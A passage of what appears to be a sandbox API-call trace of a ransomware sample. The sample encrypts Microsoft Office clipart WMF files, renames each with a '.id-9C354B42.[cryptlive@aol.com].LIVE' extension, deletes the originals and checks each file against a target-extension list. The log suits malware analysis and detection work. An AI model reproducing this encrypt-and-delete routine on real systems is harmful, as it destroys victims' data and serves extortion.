CloseHandle (hObject=0x36c) returned 1 [0134.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0134.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.689] GetLastError () returned 0x0 [0134.689] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1384, lpOverlapped=0x0) returned 1 [0134.691] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0134.692] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.692] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.692] SetEndOfFile (hFile=0x1ec) returned 1 [0134.692] CloseHandle (hObject=0x1ec) returned 1 [0134.693] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.693] SetEndOfFile (hFile=0x36c) returned 1 [0134.695] CloseHandle (hObject=0x36c) returned 1 [0134.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0134.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.696] lstrlenW (lpString=".doc") returned 4 [0134.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.696] lstrlenW (lpString=".docx") returned 5 [0134.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.696] lstrlenW (lpString=".pdf") returned 4 [0134.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.696] lstrlenW (lpString=".xls") returned 4 [0134.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.696] lstrlenW (lpString=".xlsx") returned 5 [0134.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.697] lstrlenW (lpString=".ppt") returned 4 [0134.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.697] lstrlenW (lpString=".zip") returned 4 [0134.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.697] lstrlenW (lpString=".rar") returned 4 [0134.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString=".bz2") returned 4 [0134.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString=".7z") returned 3 [0134.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.697] lstrlenW (lpString=".dbf") returned 4 [0134.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.697] lstrlenW (lpString=".1cd") returned 4 [0134.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.697] lstrlenW (lpString=".jpg") returned 4 [0134.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.697] lstrlenW (lpString=".doc") returned 4 [0134.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString=".docx") returned 5 [0134.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.697] lstrlenW (lpString=".pdf") returned 4 [0134.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.697] lstrlenW (lpString=".xls") returned 4 [0134.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.698] lstrlenW (lpString=".xlsx") returned 5 [0134.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.698] lstrlenW (lpString=".ppt") returned 4 [0134.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.698] lstrlenW (lpString=".zip") returned 4 [0134.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.698] lstrlenW (lpString=".rar") returned 4 [0134.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.698] lstrlenW (lpString=".bz2") returned 4 [0134.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.698] lstrlenW (lpString=".7z") returned 3 [0134.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.698] lstrlenW (lpString=".dbf") returned 4 [0134.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.698] lstrlenW (lpString=".1cd") returned 4 [0134.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0134.698] lstrlenW (lpString=".jpg") returned 4 [0134.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.698] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.698] lstrlenW (lpString="AN04385_.WMF") returned 12 [0134.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.699] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5004) returned 1 [0134.699] CloseHandle (hObject=0x36c) returned 1 [0134.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0134.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.699] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.699] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.701] GetLastError () returned 0x0 [0134.701] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x138c, lpOverlapped=0x0) returned 1 [0134.702] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0134.704] ReadFile (in: hFile=0x36c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.704] WriteFile (in: hFile=0x1ec, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.704] SetEndOfFile (hFile=0x1ec) returned 1 [0134.704] CloseHandle (hObject=0x1ec) returned 1 [0134.704] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.704] SetEndOfFile (hFile=0x36c) returned 1 [0135.039] CloseHandle (hObject=0x36c) returned 1 [0135.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0135.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.041] lstrlenW (lpString=".doc") returned 4 [0135.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.041] lstrlenW (lpString=".docx") returned 5 [0135.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.041] lstrlenW (lpString=".pdf") returned 4 [0135.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.041] lstrlenW (lpString=".xls") returned 4 [0135.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.041] lstrlenW (lpString=".xlsx") returned 5 [0135.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.042] lstrlenW (lpString=".ppt") returned 4 [0135.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.042] lstrlenW (lpString=".zip") returned 4 [0135.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.042] lstrlenW (lpString=".rar") returned 4 [0135.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString=".bz2") returned 4 [0135.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString=".7z") returned 3 [0135.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.042] lstrlenW (lpString=".dbf") returned 4 [0135.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.042] lstrlenW (lpString=".1cd") returned 4 [0135.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.042] lstrlenW (lpString=".jpg") returned 4 [0135.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.042] lstrlenW (lpString=".doc") returned 4 [0135.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString=".docx") returned 5 [0135.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.042] lstrlenW (lpString=".pdf") returned 4 [0135.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString=".xls") returned 4 [0135.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.042] lstrlenW (lpString=".xlsx") returned 5 [0135.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.042] lstrlenW (lpString=".ppt") returned 4 [0135.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.043] lstrlenW (lpString=".zip") returned 4 [0135.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.043] lstrlenW (lpString=".rar") returned 4 [0135.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.043] lstrlenW (lpString=".bz2") returned 4 [0135.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.043] lstrlenW (lpString=".7z") returned 3 [0135.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.043] lstrlenW (lpString=".dbf") returned 4 [0135.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.043] lstrlenW (lpString=".1cd") returned 4 [0135.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0135.043] lstrlenW (lpString=".jpg") returned 4 [0135.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.043] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.043] lstrlenW (lpString="BD06200_.WMF") returned 12 [0135.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.393] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=16676) returned 1 [0135.402] CloseHandle (hObject=0x390) returned 1 [0135.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0135.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.583] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.583] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0135.885] GetLastError () returned 0x0 [0135.886] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x4124, lpOverlapped=0x0) returned 1 [0135.888] WriteFile (in: hFile=0x328, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0135.892] ReadFile (in: hFile=0x388, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.892] WriteFile (in: hFile=0x328, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.892] SetEndOfFile (hFile=0x328) returned 1 [0135.893] CloseHandle (hObject=0x328) returned 1 [0135.893] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.893] SetEndOfFile (hFile=0x388) returned 1 [0135.896] CloseHandle (hObject=0x388) returned 1 [0135.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0135.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.935] lstrlenW (lpString=".doc") returned 4 [0135.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.935] lstrlenW (lpString=".docx") returned 5 [0135.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.935] lstrlenW (lpString=".pdf") returned 4 [0135.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.935] lstrlenW (lpString=".xls") returned 4 [0135.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.935] lstrlenW (lpString=".xlsx") returned 5 [0135.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.935] lstrlenW (lpString=".ppt") returned 4 [0135.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.935] lstrlenW (lpString=".zip") returned 4 [0135.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.936] lstrlenW (lpString=".rar") returned 4 [0135.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString=".bz2") returned 4 [0135.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString=".7z") returned 3 [0135.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.936] lstrlenW (lpString=".dbf") returned 4 [0135.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.936] lstrlenW (lpString=".1cd") returned 4 [0135.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.936] lstrlenW (lpString=".jpg") returned 4 [0135.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.936] lstrlenW (lpString=".doc") returned 4 [0135.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString=".docx") returned 5 [0135.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.936] lstrlenW (lpString=".pdf") returned 4 [0135.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString=".xls") returned 4 [0135.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.936] lstrlenW (lpString=".xlsx") returned 5 [0135.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.936] lstrlenW (lpString=".ppt") returned 4 [0135.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.936] lstrlenW (lpString=".zip") returned 4 [0135.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.937] lstrlenW (lpString=".rar") returned 4 [0135.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.937] lstrlenW (lpString=".bz2") returned 4 [0135.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.937] lstrlenW (lpString=".7z") returned 3 [0135.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.937] lstrlenW (lpString=".dbf") returned 4 [0135.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.937] lstrlenW (lpString=".1cd") returned 4 [0135.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0135.937] lstrlenW (lpString=".jpg") returned 4 [0135.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.937] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.937] lstrlenW (lpString="BD09664_.WMF") returned 12 [0135.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0135.938] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7966) returned 1 [0135.938] CloseHandle (hObject=0x3b0) returned 1 [0135.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0135.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft 